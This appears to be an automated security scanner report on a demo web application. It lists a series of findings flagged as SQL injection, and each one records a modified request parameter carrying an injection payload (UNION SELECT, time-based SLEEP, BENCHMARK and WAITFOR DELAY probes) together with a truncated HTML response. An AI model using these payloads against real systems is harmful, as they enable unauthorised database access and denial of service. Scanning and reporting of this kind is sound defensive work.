ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1865
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
NULL#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1866
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1867
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1868
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1869
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1870
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1871
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ") or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1872
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1873
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AS INJECTX WHERE 1=1 AND 1=1-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1874
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# or benchmark(50000000,MD5(1)
)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1875
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1876
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 31337#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1877
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1878
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ';WAITFOR DELAY '0:0:30'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1879
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
